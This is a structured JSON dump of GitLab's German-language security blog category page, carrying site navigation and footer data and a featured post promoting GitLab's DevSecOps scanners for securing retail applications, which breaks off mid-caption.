[{"data":1,"prerenderedAt":1071},["ShallowReactive",2],{"/de-de/blog/categories/security/":3,"navigation-de-de":22,"banner-de-de":442,"footer-de-de":455,"security-category-page-de-de":664},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8,"content":11,"config":12,"_id":15,"_type":16,"title":17,"_source":18,"_file":19,"_stem":20,"_extension":21},"/de-de/blog/categories/security","categories",false,"",{"title":9,"description":10},"Sicherheit","Browse articles related to Sicherheit on the GitLab Blog",{"name":9},{"template":13,"slug":14,"hide":6},"BlogCategory","security","content:de-de:blog:categories:security.yml","yaml","Security","content","de-de/blog/categories/security.yml","de-de/blog/categories/security","yml",{"_path":23,"_dir":24,"_draft":6,"_partial":6,"_locale":7,"data":25,"_id":438,"_type":16,"title":439,"_source":18,"_file":440,"_stem":441,"_extension":21},"/shared/de-de/main-navigation","de-de",{"logo":26,"freeTrial":31,"sales":36,"login":41,"items":46,"search":379,"minimal":415,"duo":429},{"config":27},{"href":28,"dataGaName":29,"dataGaLocation":30},"/de-de/","gitlab logo","header",{"text":32,"config":33},"Kostenlose Testversion anfordern",{"href":34,"dataGaName":35,"dataGaLocation":30},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com&glm_content=default-saas-trial/","free trial",{"text":37,"config":38},"Vertrieb kontaktieren",{"href":39,"dataGaName":40,"dataGaLocation":30},"/de-de/sales/","sales",{"text":42,"config":43},"Anmelden",{"href":44,"dataGaName":45,"dataGaLocation":30},"https://gitlab.com/users/sign_in/","sign in",[47,91,189,194,300,360],{"text":48,"config":49,"cards":51,"footer":74},"Plattform",{"dataNavLevelOne":50},"platform",[52,58,66],{"title":48,"description":53,"link":54},"Die umfassendste KI-basierte DevSecOps-Plattform",{"text":55,"config":56},"Erkunde unsere Plattform",{"href":57,"dataGaName":50,"dataGaLocation":30},"/de-de/platform/",{"title":59,"description":60,"link":61},"GitLab Duo (KI)","Entwickle Software schneller mit KI in jeder Phase der Entwicklung",{"text":62,"config":63},"Lerne GitLab Duo kennen",{"href":64,"dataGaName":65,"dataGaLocation":30},"/de-de/gitlab-duo/","gitlab duo ai",{"title":67,"description":68,"link":69},"Gründe, die für GitLab sprechen","10 Gründe, warum Unternehmen sich für GitLab entscheiden",{"text":70,"config":71},"Mehr erfahren",{"href":72,"dataGaName":73,"dataGaLocation":30},"/de-de/why-gitlab/","why gitlab",{"title":75,"items":76},"Erste Schritte mit",[77,82,87],{"text":78,"config":79},"Platform Engineering",{"href":80,"dataGaName":81,"dataGaLocation":30},"/de-de/solutions/platform-engineering/","platform engineering",{"text":83,"config":84},"Entwicklererfahrung",{"href":85,"dataGaName":86,"dataGaLocation":30},"/de-de/developer-experience/","Developer experience",{"text":88,"config":89},"MLOps",{"href":90,"dataGaName":88,"dataGaLocation":30},"/de-de/topics/devops/the-role-of-ai-in-devops/",{"text":92,"left":93,"config":94,"link":96,"lists":100,"footer":171},"Produkt",true,{"dataNavLevelOne":95},"solutions",{"text":97,"config":98},"Alle Lösungen anzeigen",{"href":99,"dataGaName":95,"dataGaLocation":30},"/de-de/solutions/",[101,127,149],{"title":102,"description":103,"link":104,"items":109},"Automatisierung","CI/CD und Automatisierung zur Beschleunigung der Bereitstellung",{"config":105},{"icon":106,"href":107,"dataGaName":108,"dataGaLocation":30},"AutomatedCodeAlt","/solutions/delivery-automation/","automated software delivery",[110,114,118,123],{"text":111,"config":112},"CI/CD",{"href":113,"dataGaLocation":30,"dataGaName":111},"/de-de/solutions/continuous-integration/",{"text":115,"config":116},"KI-unterstützte Entwicklung",{"href":64,"dataGaLocation":30,"dataGaName":117},"AI assisted development",{"text":119,"config":120},"Quellcodeverwaltung",{"href":121,"dataGaLocation":30,"dataGaName":122},"/de-de/solutions/source-code-management/","Source Code Management",{"text":124,"config":125},"Automatisierte Softwarebereitstellung",{"href":107,"dataGaLocation":30,"dataGaName":126},"Automated software delivery",{"title":9,"description":128,"link":129,"items":134},"Entwickle schneller, ohne die Sicherheit zu gefährden",{"config":130},{"href":131,"dataGaName":132,"dataGaLocation":30,"icon":133},"/de-de/solutions/security-compliance/","security and compliance","ShieldCheckLight",[135,140,145],{"text":136,"config":137},"Application Security Testing",{"href":138,"dataGaName":139,"dataGaLocation":30},"/solutions/application-security-testing/","Application security testing",{"text":141,"config":142},"Schutz der Software-Lieferkette",{"href":143,"dataGaLocation":30,"dataGaName":144},"/de-de/solutions/supply-chain/","Software supply chain security",{"text":146,"config":147},"Software Compliance",{"href":148,"dataGaName":146,"dataGaLocation":30},"/solutions/software-compliance/",{"title":150,"link":151,"items":156},"Bewertung",{"config":152},{"icon":153,"href":154,"dataGaName":155,"dataGaLocation":30},"DigitalTransformation","/de-de/solutions/visibility-measurement/","visibility and measurement",[157,161,166],{"text":158,"config":159},"Sichtbarkeit und Bewertung",{"href":154,"dataGaLocation":30,"dataGaName":160},"Visibility and Measurement",{"text":162,"config":163},"Wertstrommanagement",{"href":164,"dataGaLocation":30,"dataGaName":165},"/de-de/solutions/value-stream-management/","Value Stream Management",{"text":167,"config":168},"Analysen und Einblicke",{"href":169,"dataGaLocation":30,"dataGaName":170},"/de-de/solutions/analytics-and-insights/","Analytics and insights",{"title":172,"items":173},"GitLab für",[174,179,184],{"text":175,"config":176},"Enterprise",{"href":177,"dataGaLocation":30,"dataGaName":178},"/de-de/enterprise/","enterprise",{"text":180,"config":181},"Kleinunternehmen",{"href":182,"dataGaLocation":30,"dataGaName":183},"/de-de/small-business/","small business",{"text":185,"config":186},"den öffentlichen Sektor",{"href":187,"dataGaLocation":30,"dataGaName":188},"/de-de/solutions/public-sector/","public sector",{"text":190,"config":191},"Preise",{"href":192,"dataGaName":193,"dataGaLocation":30,"dataNavLevelOne":193},"/de-de/pricing/","pricing",{"text":195,"config":196,"link":198,"lists":202,"feature":287},"Ressourcen",{"dataNavLevelOne":197},"resources",{"text":199,"config":200},"Alle Ressourcen anzeigen",{"href":201,"dataGaName":197,"dataGaLocation":30},"/de-de/resources/",[203,236,259],{"title":204,"items":205},"Erste Schritte",[206,211,216,221,226,231],{"text":207,"config":208},"Installieren",{"href":209,"dataGaName":210,"dataGaLocation":30},"/de-de/install/","install",{"text":212,"config":213},"Kurzanleitungen",{"href":214,"dataGaName":215,"dataGaLocation":30},"/de-de/get-started/","quick setup checklists",{"text":217,"config":218},"Lernen",{"href":219,"dataGaLocation":30,"dataGaName":220},"https://university.gitlab.com/","learn",{"text":222,"config":223},"Produktdokumentation",{"href":224,"dataGaName":225,"dataGaLocation":30},"https://docs.gitlab.com/","product documentation",{"text":227,"config":228},"Best-Practice-Videos",{"href":229,"dataGaName":230,"dataGaLocation":30},"/de-de/getting-started-videos/","best practice videos",{"text":232,"config":233},"Integrationen",{"href":234,"dataGaName":235,"dataGaLocation":30},"/de-de/integrations/","integrations",{"title":237,"items":238},"Entdecken",[239,244,249,254],{"text":240,"config":241},"Kundenerfolge",{"href":242,"dataGaName":243,"dataGaLocation":30},"/de-de/customers/","customer success stories",{"text":245,"config":246},"Blog",{"href":247,"dataGaName":248,"dataGaLocation":30},"/de-de/blog/","blog",{"text":250,"config":251},"Remote",{"href":252,"dataGaName":253,"dataGaLocation":30},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"text":255,"config":256},"TeamOps",{"href":257,"dataGaName":258,"dataGaLocation":30},"/de-de/teamops/","teamops",{"title":260,"items":261},"Vernetzen",[262,267,272,277,282],{"text":263,"config":264},"GitLab-Services",{"href":265,"dataGaName":266,"dataGaLocation":30},"/de-de/services/","services",{"text":268,"config":269},"Community",{"href":270,"dataGaName":271,"dataGaLocation":30},"/community/","community",{"text":273,"config":274},"Forum",{"href":275,"dataGaName":276,"dataGaLocation":30},"https://forum.gitlab.com/","forum",{"text":278,"config":279},"Veranstaltungen",{"href":280,"dataGaName":281,"dataGaLocation":30},"/events/","events",{"text":283,"config":284},"Partner",{"href":285,"dataGaName":286,"dataGaLocation":30},"/partners/","partners",{"backgroundColor":288,"textColor":289,"text":290,"image":291,"link":295},"#2f2a6b","#fff","Perspektiven für die Softwareentwicklung der Zukunft",{"altText":292,"config":293},"the source promo card",{"src":294},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758208064/dzl0dbift9xdizyelkk4.svg",{"text":296,"config":297},"Lies die News",{"href":298,"dataGaName":299,"dataGaLocation":30},"/de-de/the-source/","the source",{"text":301,"config":302,"lists":304},"Unternehmen",{"dataNavLevelOne":303},"company",[305],{"items":306},[307,312,318,320,325,330,335,340,345,350,355],{"text":308,"config":309},"Über",{"href":310,"dataGaName":311,"dataGaLocation":30},"/de-de/company/","about",{"text":313,"config":314,"footerGa":317},"Karriere",{"href":315,"dataGaName":316,"dataGaLocation":30},"/jobs/","jobs",{"dataGaName":316},{"text":278,"config":319},{"href":280,"dataGaName":281,"dataGaLocation":30},{"text":321,"config":322},"Geschäftsführung",{"href":323,"dataGaName":324,"dataGaLocation":30},"/company/team/e-group/","leadership",{"text":326,"config":327},"Team",{"href":328,"dataGaName":329,"dataGaLocation":30},"/company/team/","team",{"text":331,"config":332},"Handbuch",{"href":333,"dataGaName":334,"dataGaLocation":30},"https://handbook.gitlab.com/","handbook",{"text":336,"config":337},"Investor Relations",{"href":338,"dataGaName":339,"dataGaLocation":30},"https://ir.gitlab.com/","investor relations",{"text":341,"config":342},"Trust Center",{"href":343,"dataGaName":344,"dataGaLocation":30},"/de-de/security/","trust center",{"text":346,"config":347},"AI Transparency Center",{"href":348,"dataGaName":349,"dataGaLocation":30},"/de-de/ai-transparency-center/","ai transparency center",{"text":351,"config":352},"Newsletter",{"href":353,"dataGaName":354,"dataGaLocation":30},"/company/contact/","newsletter",{"text":356,"config":357},"Presse",{"href":358,"dataGaName":359,"dataGaLocation":30},"/press/","press",{"text":361,"config":362,"lists":363},"Kontakt",{"dataNavLevelOne":303},[364],{"items":365},[366,369,374],{"text":37,"config":367},{"href":39,"dataGaName":368,"dataGaLocation":30},"talk to sales",{"text":370,"config":371},"Support",{"href":372,"dataGaName":373,"dataGaLocation":30},"/support/","get help",{"text":375,"config":376},"Kundenportal",{"href":377,"dataGaName":378,"dataGaLocation":30},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":380,"login":381,"suggestions":388},"Schließen",{"text":382,"link":383},"Um Repositories und Projekte zu durchsuchen, melde dich an bei",{"text":384,"config":385},"gitlab.com",{"href":44,"dataGaName":386,"dataGaLocation":387},"search login","search",{"text":389,"default":390},"Vorschläge",[391,394,399,401,406,411],{"text":59,"config":392},{"href":64,"dataGaName":393,"dataGaLocation":387},"GitLab Duo (AI)",{"text":395,"config":396},"Code Suggestions (KI)",{"href":397,"dataGaName":398,"dataGaLocation":387},"/de-de/solutions/code-suggestions/","Code Suggestions (AI)",{"text":111,"config":400},{"href":113,"dataGaName":111,"dataGaLocation":387},{"text":402,"config":403},"GitLab auf AWS",{"href":404,"dataGaName":405,"dataGaLocation":387},"/de-de/partners/technology-partners/aws/","GitLab on AWS",{"text":407,"config":408},"GitLab auf Google Cloud",{"href":409,"dataGaName":410,"dataGaLocation":387},"/de-de/partners/technology-partners/google-cloud-platform/","GitLab on Google Cloud",{"text":412,"config":413},"Warum GitLab?",{"href":72,"dataGaName":414,"dataGaLocation":387},"Why GitLab?",{"freeTrial":416,"mobileIcon":421,"desktopIcon":426},{"text":417,"config":418},"Kostenlos testen",{"href":419,"dataGaName":35,"dataGaLocation":420},"https://gitlab.com/-/trials/new/","nav",{"altText":422,"config":423},"GitLab-Symbol",{"src":424,"dataGaName":425,"dataGaLocation":420},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203874/jypbw1jx72aexsoohd7x.svg","gitlab icon",{"altText":422,"config":427},{"src":428,"dataGaName":425,"dataGaLocation":420},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203875/gs4c8p8opsgvflgkswz9.svg",{"freeTrial":430,"mobileIcon":434,"desktopIcon":436},{"text":431,"config":432},"Erfahre mehr über GitLab Duo",{"href":64,"dataGaName":433,"dataGaLocation":420},"gitlab duo",{"altText":422,"config":435},{"src":424,"dataGaName":425,"dataGaLocation":420},{"altText":422,"config":437},{"src":428,"dataGaName":425,"dataGaLocation":420},"content:shared:de-de:main-navigation.yml","Main Navigation","shared/de-de/main-navigation.yml","shared/de-de/main-navigation",{"_path":443,"_dir":24,"_draft":6,"_partial":6,"_locale":7,"title":444,"button":445,"config":450,"_id":452,"_type":16,"_source":18,"_file":453,"_stem":454,"_extension":21},"/shared/de-de/banner","GitLab Duo Agent Platform ist jetzt in öffentlicher Beta!",{"text":446,"config":447},"Beta testen",{"href":448,"dataGaName":449,"dataGaLocation":30},"/de-de/gitlab-duo/agent-platform/","duo banner",{"layout":451},"release","content:shared:de-de:banner.yml","shared/de-de/banner.yml","shared/de-de/banner",{"_path":456,"_dir":24,"_draft":6,"_partial":6,"_locale":7,"data":457,"_id":660,"_type":16,"title":661,"_source":18,"_file":662,"_stem":663,"_extension":21},"/shared/de-de/main-footer",{"text":458,"source":459,"edit":465,"contribute":470,"config":475,"items":480,"minimal":652},"Git ist eine Marke von Software Freedom Conservancy und unsere Verwendung von „GitLab“ erfolgt unter Lizenz.",{"text":460,"config":461},"Quelltext der Seite anzeigen",{"href":462,"dataGaName":463,"dataGaLocation":464},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":466,"config":467},"Diese Seite bearbeiten",{"href":468,"dataGaName":469,"dataGaLocation":464},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":471,"config":472},"Beteilige dich",{"href":473,"dataGaName":474,"dataGaLocation":464},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":476,"facebook":477,"youtube":478,"linkedin":479},"https://x.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[481,504,559,588,622],{"title":48,"links":482,"subMenu":487},[483],{"text":484,"config":485},"DevSecOps-Plattform",{"href":57,"dataGaName":486,"dataGaLocation":464},"devsecops platform",[488],{"title":190,"links":489},[490,494,499],{"text":491,"config":492},"Tarife anzeigen",{"href":192,"dataGaName":493,"dataGaLocation":464},"view plans",{"text":495,"config":496},"Vorteile von Premium",{"href":497,"dataGaName":498,"dataGaLocation":464},"/de-de/pricing/premium/","why premium",{"text":500,"config":501},"Vorteile von Ultimate",{"href":502,"dataGaName":503,"dataGaLocation":464},"/de-de/pricing/ultimate/","why ultimate",{"title":505,"links":506},"Lösungen",[507,512,515,517,522,527,531,534,537,542,544,546,549,554],{"text":508,"config":509},"Digitale Transformation",{"href":510,"dataGaName":511,"dataGaLocation":464},"/de-de/topics/digital-transformation/","digital transformation",{"text":513,"config":514},"Sicherheit und Compliance",{"href":138,"dataGaName":139,"dataGaLocation":464},{"text":124,"config":516},{"href":107,"dataGaName":108,"dataGaLocation":464},{"text":518,"config":519},"Agile Entwicklung",{"href":520,"dataGaName":521,"dataGaLocation":464},"/de-de/solutions/agile-delivery/","agile delivery",{"text":523,"config":524},"Cloud-Transformation",{"href":525,"dataGaName":526,"dataGaLocation":464},"/de-de/topics/cloud-native/","cloud transformation",{"text":528,"config":529},"SCM",{"href":121,"dataGaName":530,"dataGaLocation":464},"source code management",{"text":111,"config":532},{"href":113,"dataGaName":533,"dataGaLocation":464},"continuous integration & delivery",{"text":162,"config":535},{"href":164,"dataGaName":536,"dataGaLocation":464},"value stream management",{"text":538,"config":539},"GitOps",{"href":540,"dataGaName":541,"dataGaLocation":464},"/de-de/solutions/gitops/","gitops",{"text":175,"config":543},{"href":177,"dataGaName":178,"dataGaLocation":464},{"text":180,"config":545},{"href":182,"dataGaName":183,"dataGaLocation":464},{"text":547,"config":548},"Öffentlicher Sektor",{"href":187,"dataGaName":188,"dataGaLocation":464},{"text":550,"config":551},"Bildungswesen",{"href":552,"dataGaName":553,"dataGaLocation":464},"/de-de/solutions/education/","education",{"text":555,"config":556},"Finanzdienstleistungen",{"href":557,"dataGaName":558,"dataGaLocation":464},"/de-de/solutions/finance/","financial services",{"title":195,"links":560},[561,563,565,567,570,572,574,576,578,580,582,584,586],{"text":207,"config":562},{"href":209,"dataGaName":210,"dataGaLocation":464},{"text":212,"config":564},{"href":214,"dataGaName":215,"dataGaLocation":464},{"text":217,"config":566},{"href":219,"dataGaName":220,"dataGaLocation":464},{"text":222,"config":568},{"href":224,"dataGaName":569,"dataGaLocation":464},"docs",{"text":245,"config":571},{"href":247,"dataGaName":248,"dataGaLocation":464},{"text":240,"config":573},{"href":242,"dataGaName":243,"dataGaLocation":464},{"text":250,"config":575},{"href":252,"dataGaName":253,"dataGaLocation":464},{"text":263,"config":577},{"href":265,"dataGaName":266,"dataGaLocation":464},{"text":255,"config":579},{"href":257,"dataGaName":258,"dataGaLocation":464},{"text":268,"config":581},{"href":270,"dataGaName":271,"dataGaLocation":464},{"text":273,"config":583},{"href":275,"dataGaName":276,"dataGaLocation":464},{"text":278,"config":585},{"href":280,"dataGaName":281,"dataGaLocation":464},{"text":283,"config":587},{"href":285,"dataGaName":286,"dataGaLocation":464},{"title":301,"links":589},[590,592,594,596,598,600,602,606,611,613,615,617],{"text":308,"config":591},{"href":310,"dataGaName":303,"dataGaLocation":464},{"text":313,"config":593},{"href":315,"dataGaName":316,"dataGaLocation":464},{"text":321,"config":595},{"href":323,"dataGaName":324,"dataGaLocation":464},{"text":326,"config":597},{"href":328,"dataGaName":329,"dataGaLocation":464},{"text":331,"config":599},{"href":333,"dataGaName":334,"dataGaLocation":464},{"text":336,"config":601},{"href":338,"dataGaName":339,"dataGaLocation":464},{"text":603,"config":604},"Sustainability",{"href":605,"dataGaName":603,"dataGaLocation":464},"/sustainability/",{"text":607,"config":608},"Vielfalt, Inklusion und Zugehörigkeit",{"href":609,"dataGaName":610,"dataGaLocation":464},"/de-de/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":341,"config":612},{"href":343,"dataGaName":344,"dataGaLocation":464},{"text":351,"config":614},{"href":353,"dataGaName":354,"dataGaLocation":464},{"text":356,"config":616},{"href":358,"dataGaName":359,"dataGaLocation":464},{"text":618,"config":619},"Transparenzerklärung zu moderner Sklaverei",{"href":620,"dataGaName":621,"dataGaLocation":464},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"title":623,"links":624},"Nimm Kontakt auf",[625,628,630,632,637,642,647],{"text":626,"config":627},"Sprich mit einem Experten/einer Expertin",{"href":39,"dataGaName":40,"dataGaLocation":464},{"text":370,"config":629},{"href":372,"dataGaName":373,"dataGaLocation":464},{"text":375,"config":631},{"href":377,"dataGaName":378,"dataGaLocation":464},{"text":633,"config":634},"Status",{"href":635,"dataGaName":636,"dataGaLocation":464},"https://status.gitlab.com/","status",{"text":638,"config":639},"Nutzungsbedingungen",{"href":640,"dataGaName":641,"dataGaLocation":464},"/terms/","terms of use",{"text":643,"config":644},"Datenschutzerklärung",{"href":645,"dataGaName":646,"dataGaLocation":464},"/de-de/privacy/","privacy statement",{"text":648,"config":649},"Cookie-Einstellungen",{"dataGaName":650,"dataGaLocation":464,"id":651,"isOneTrustButton":93},"cookie preferences","ot-sdk-btn",{"items":653},[654,656,658],{"text":638,"config":655},{"href":640,"dataGaName":641,"dataGaLocation":464},{"text":643,"config":657},{"href":645,"dataGaName":646,"dataGaLocation":464},{"text":648,"config":659},{"dataGaName":650,"dataGaLocation":464,"id":651,"isOneTrustButton":93},"content:shared:de-de:main-footer.yml","Main Footer","shared/de-de/main-footer.yml","shared/de-de/main-footer",{"featuredPost":665,"allPosts":689,"totalPages":1069,"initialPosts":1070},{"_path":666,"_dir":248,"_draft":6,"_partial":6,"_locale":7,"seo":667,"content":671,"config":682,"_id":685,"_type":16,"title":686,"_source":18,"_file":687,"_stem":688,"_extension":21},"/de-de/blog/a-developers-guide-to-building-secure-retail-apps-with-gitlab",{"config":668,"title":669,"description":670},{"noIndex":6},"Leitfaden für das Entwickeln sicherer Retail-Apps mit GitLab","So hilft die DevSecOps-Plattform Händlern bei der Entwicklung sicherer, konformer Software für komplexe Retail-Umgebungen.",{"title":669,"description":670,"authors":672,"body":675,"category":14,"tags":676,"date":680,"heroImage":681},[673,674],"Itzik Gan Baruch","Rebeca Fenoy-Anthony","Händler stehen bei der Anwendungssicherheit vor besonderen Herausforderungen – hauptsächlich weil die **Angriffsfläche durch die Komplexität des modernen Handels größer ist als je zuvor**. Von mobilen Apps und KI-gestützter Personalisierung bis zu Omni-Channel-Plattformen und IoT im Geschäft – jeder Berührungspunkt erhöht die Anzahl der Systeme, die gesichert und überwacht werden müssen. Eine einzelne Schwachstelle betrifft nicht nur eine Komponente, sondern kann sich auf Zahlungsabwickler, Bestandssysteme, Kundendaten und letztendlich das Markenvertrauen auswirken.\n\nTraditionelle Sicherheitsansätze, die früher funktionierten, können heute nicht mehr mithalten. Sicherheitsprozesse werden oft nachträglich hinzugefügt, was Teams verlangsamt und Risiken erhöht. Aber so muss es nicht sein.\n\n**Moderne Plattformen integrieren Sicherheit in den gesamten Entwicklungs-Lebenszyklus** und machen Security zu einem nahtlosen Teil des Entwickler-Workflows, nicht zu einer Barriere für die Bereitstellung. Dieser Ansatz verwandelt Sicherheit in einen strategischen Vorteil und ermöglicht Innovation ohne Kompromisse.\n\nIn diesem Artikel erfährst du, wie eine integrierte DevSecOps-Plattform Retail-Teams dabei hilft, steigenden Sicherheitsanforderungen gerecht zu werden, **ohne die Bereitstellung zu verlangsamen oder die Kundenerfahrung zu beeinträchtigen**.\n\n## Warum Retail-Sicherheit einen anderen Ansatz erfordert\n\nIm Einzelhandel geht es bei Sicherheit um mehr als nur Datenschutz – es geht um den Schutz der Kundenerfahrung, die für das Geschäftsergebnis entscheidend ist. Jede Verlangsamung, jeder Ausfall oder jede Schwachstelle kann zu Umsatzverlusten und gebrochenem Vertrauen führen. Handelsplattformen müssen online bleiben, Compliance-Standards erfüllen und sich gegen ununterbrochene Angriffe aus dem offenen Internet verteidigen. Im Gegensatz zu Unternehmenssystemen sind sie vollständig öffentlich zugänglich und haben eine viel breitere Angriffsfläche. Füge Drittanbieter-Integrationen, APIs und Legacy-Systeme hinzu, und es wird klar: Traditionelle Sicherheitsansätze reichen nicht aus.\n\nZur Komplexität kommt hinzu, dass Händler vor einzigartigen Herausforderungen stehen, die ihre Sicherheitsrisiken weiter erhöhen, darunter:\n\n### Fragilität der Lieferkette und API-Wildwuchs\n\nVersandverzögerungen, globale Instabilität und vernetzte Systeme stören die Logistik. Fast die Hälfte der Händler berichtet über Probleme mit der Produktverfügbarkeit, und 25 % fehlt die Echtzeit-Bestandstransparenz, laut einer [Umfrage von Fluent Commerce 2024](https://premierconstructionnews.com/2024/05/25/retails-revival-fluent-commerce-study-finds-93-of-uk-retailers-expect-business-growth-over-next-year-despite-economic-challenges-and-supply-chain-disruption/). Während KI-gestützte Prognosen helfen, schaffen unsichere APIs und fragile Integrationen in der digitalen Lieferkette Angriffsvektoren.\n\n### Legacy-Systeme treffen auf moderne Anforderungen\n\nViele Händler arbeiten mit monolithischen, veralteten Systemen, die Schwierigkeiten haben, mobile Apps, IoT-Geräte und Echtzeit-Analysen sicher zu unterstützen. Ohne sichere, agile Grundlagen wird jeder neue digitale Berührungspunkt zu einer potenziellen Schwachstelle.\n\n### KI- und Compliance-Komplexität\n\nKI verändert Einzelhandelserlebnisse durch personalisierte Empfehlungen und fortschrittliche Kundenverfolgungstechnologien wie Beacon-Sensoren, Gesichtserkennung und mobile App-Standortdienste, die Bewegungen und Verhalten in physischen Geschäften überwachen. Diese KI-gestützten Systeme verbessern sowohl Kundenerlebnisse als auch Nachfrageprognosen für Händler. Allerdings erfordern die [DSGVO](https://gdpr.eu/what-is-gdpr/) (die Datenschutz-Grundverordnung der Europäischen Union) und ähnliche globale Datenschutzgesetze sichere Datenverarbeitung und transparente KI-Logik. Sicherheitsfehler können zu erheblichen Geldstrafen und dauerhaftem Reputationsschaden führen.\n\n### Risiken bei kundenorientierten Automatisierungen\n\nSelf-Checkouts, Kioske und Chatbots versprechen Komfort und Kosteneinsparungen, aber oft fehlt die Sicherheitshärtung. Diese Berührungspunkte werden zu Einstiegspunkten für Cyberangreifer und ermöglichen traditionellen Diebstahl durch schwache Betrugserkennung, begrenzte Überwachung und leicht manipulierbare Systeme, die Ladendiebstahl schwerer erkennbar machen.\n\n### Unterschiedliche Bedrohungsflächen\n\nHändler befinden sich in einer einzigartigen Position, in der sie über mehrere Vektoren hinweg sichern müssen, die oft von global verteilten Teams gepflegt werden (je nach Größe der Organisation). E-Commerce-Plattformen, mobile Anwendungen, Point-of-Sale-(POS-)Systeme und IoT-Geräte im Geschäft bieten jeweils einen Einstiegspunkt für Bedrohungsakteure mit einzigartigen Eigenschaften, die verschiedene Sicherheitslösungen erfordern, um Widerstandsfähigkeit zu gewährleisten.\n\nDies schafft ein einzigartiges Paradoxon: Händler müssen schneller als je zuvor innovieren und gleichzeitig höhere Sicherheitsstandards als die meisten Branchen einhalten, während sie nahtlose Kundenerlebnisse über jeden Kanal hinweg liefern.\n\n## Warum traditionelle AppSec im Einzelhandel versagt\n\nDie meisten Händler verlassen sich auf unverbundene Sicherheitstools wie statische Anwendungssicherheitstests (SAST), Lizenzprüfer und Schwachstellenbewertungen, die isoliert arbeiten. Dieser fragmentierte Ansatz schafft kritische Lücken:\n\n* **Begrenzte Lebenszyklusabdeckung:** Tools konzentrieren sich auf enge Entwicklungsphasen und verpassen Lieferketten- und Laufzeitrisiken.\n* **Integrationsherausforderungen:** Lücken in Legacy-Systemen und schlechte Tool-Konnektivität schaffen Sicherheitsblindpunkte zwischen Teams und Lösungen.\n* **Manuelle Prozesse:** Sicherheitsübergaben schaffen Engpässe, und Probleme werden oft spät entdeckt, wenn sie kostspieliger zu beheben sind.\n* **Team-Silos:** Sicherheit bleibt isoliert von täglichen Entwicklungsworkflows und getrennt von Compliance- und IT-Teams.\n\n### Der Weg nach vorn\n\nIn der heutigen Einzelhandelslandschaft kann Sicherheit Innovation nicht verlangsamen. Die direkte Einbettung in den Entwicklungslebenszyklus und die Zusammenführung aller Teams auf einer einheitlichen DevSecOps-Plattform macht Sicherheit zu einem strategischen Vorteil statt zu einem Engpass.\n\n### Eine DevSecOps-Plattform ermöglicht sichere Innovation im großen Maßstab\n\nGitLab bietet das umfassendste Set an Sicherheitsscannern zur Maximierung der Anwendungsabdeckung, einschließlich:\n\n* [SAST](https://docs.gitlab.com/user/application_security/sast/) \n* [DAST](https://docs.gitlab.com/user/application_security/dast/) \n* [Abhängigkeitsscannen](https://docs.gitlab.com/user/application_security/dependency_scanning/dependency_scanning_sbom/) \n* [Container-Scannen](https://docs.gitlab.com/user/application_security/container_scanning/) \n* [Geheimnis-Erkennung](https://docs.gitlab.com/user/application_security/secret_detection/) \n* [Infrastructure-as-Code-Scannen](https://docs.gitlab.com/user/application_security/iac_scanning/) \n* [Fuzz-Testing](https://docs.gitlab.com/user/application_security/api_fuzzing/)\n\nAber bei Sicherheit geht es nicht nur ums Scannen. Es geht darum, [die richtigen Richtlinien durchzusetzen](https://docs.gitlab.com/user/compliance/compliance_frameworks/), um sicherzustellen, dass Schwachstellen konsistent identifiziert und behoben werden. Mit GitLab erhalten Sicherheitsteams volle Kontrolle, um sicherzustellen, dass der richtige Scan zur richtigen Zeit auf der richtigen Anwendung ausgeführt wird und dass die Ergebnisse behandelt werden, bevor sie in die Produktion gelangen.\n\n![Sicherheitsscans in Pipeline](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756988740/x2dteagn1z8tjfahmobv.png)\n\n\u003Ccenter>\u003Ci>Sicherheitsscans laufen in der CI/CD-Pipeline und liefern sofortiges Feedback zu potenziellen Schwachstellen.\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\n![Der Schwachstellenbericht zeigt alle Schwachstellen für ein bestimmtes Projekt oder eine Gruppe.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756988740/npsgvu5e0sd2kpoxug7f.png)\n\n\u003Ccenter>\u003Ci>Der Schwachstellenbericht zeigt alle Schwachstellen für ein bestimmtes Projekt oder eine Gruppe.\u003C/i>\u003C/center>\n\n### Eine Plattform für Dev, Sec und Ops\n\nRetail-Teams verschwenden unzählige Stunden damit, zwischen Tools zu wechseln, Daten manuell zu übertragen, Informationen zwischen Systemen aufgrund fragiler Integrationen zu verlieren und widersprüchliche Berichte abzugleichen. Eine einheitliche Plattform beseitigt diese Reibung:\n\n* **Einzige Quelle der Wahrheit** für Quellcode, Pipelines, Schwachstellen und Compliance \n* **Kein Integrationsaufwand** oder Tool-Kompatibilitätsprobleme \n* **Konsistente Workflows** über alle Teams und Projekte\n\nDas Ergebnis? Teams verbringen Zeit mit der Lösung von Problemen anstatt mit der Verwaltung von Tools.\n\n![Compliance-Center, wo Sie Compliance-Frameworks für Ihre Projekte durchsetzen können.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756988739/d2nzltd1a2gypywzhv5f.png)\n\n\u003Ccenter>\u003Ci>Im Compliance-Center kannst du Compliance-Frameworks für deine Projekte durchsetzen.\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\n![Im Merge Request benötigen Entwickler(innen) eine Genehmigung, wenn Risiken erkannt werden, bevor Code gemergt wird, gemäß definierten Richtlinien.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756988740/szoocztazaup2avkaxhu.png)\n\n\u003Ccenter>\u003Ci>Im Merge Request benötigen Entwickler(innen) eine Genehmigung, wenn Risiken erkannt werden, bevor Code gemergt wird, gemäß definierten 